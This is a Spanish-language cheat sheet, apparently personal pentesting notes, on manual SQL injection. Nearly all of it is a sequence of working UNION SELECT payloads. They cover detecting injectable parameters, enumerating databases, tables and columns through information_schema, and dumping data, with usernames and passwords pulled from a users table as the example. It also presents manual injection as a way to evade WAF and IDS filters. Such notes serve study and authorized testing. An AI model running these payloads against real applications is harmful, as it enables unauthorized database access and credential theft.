Manual SQL injection¶
Ventajas de la inyección sql a mano¶
- Es más facil de bypasear los filtros de seguridad como WAF o IDS
- obtenemos más control sobre la inyección
CheatSheets de inyecciones SQL manuales
El orden es DB => Tabla => Columnas¶
Detección¶
- Primero verificamos si la aplicación es vulnerable a inyección sql con payloads como:
' or 1=1--, o si no-- +o# - Si la aplicación es vulnerable, podemos usar
UNION SELECTpara obtener información de otras tablas - Si la aplicación no es vulnerable a
UNION SELECT, podemos usarORDER BYpara obtener información de otras tablasORDER BYnos permite ordenar los resultados de una consulta SQL
10' union select 1,2,3,4,5,6 -- -- Entonces tenemos la consulta:
- 10: es el id de la consulta legitima
- ': es el delimitador de la consulta que hace que la consulta se rompa
- union select: es la parte que nos permite unir dos consultas
- 1,2,3,4,5,6: son los valores que queremos obtener de la segunda consulta
- Entonces tenemos la consulta:
- Partiendo de
10' union select 1, X,3,4,5,6 -- -podemos hacer otro tipo de consultas como que db usa, etc.10' union select 1, database(),3,4,5,6 -- -
- Si quiero listar TODAS las bases de datos:
10' union select 1, schema_name,3,4,5,6 from information_schema.schemata -- -
- Ahora por ejemplo si queremos saber que tablas hay en la base de datos podemos hacer:
10' union select 1, table_name,3,4,5,6 from information_schema.tables where table_schema=database() -- -- Para ver todas las tablas de una base de datos:
10' union select 1, table_name,3,4,5,6 from information_schema.tables where table_schema='NOMBRE_BASE_DE_DATOS' -- -- Para ver todas las columnas de una tabla:
10' union select 1, column_name,3,4,5,6 from information_schema.columns where table_name='NOMBRE_TABLA' -- -
- Ahora para dumpear la información de la tabla podemos hacer:
10' union select 1, column1, column2,4,5,6 from table_name -- -
- Ejemplo:
10' union select 1, username, password,4,5,6 from users -- -10' union select 1, column1, column2,4,5,6 from database_name.table_name -- -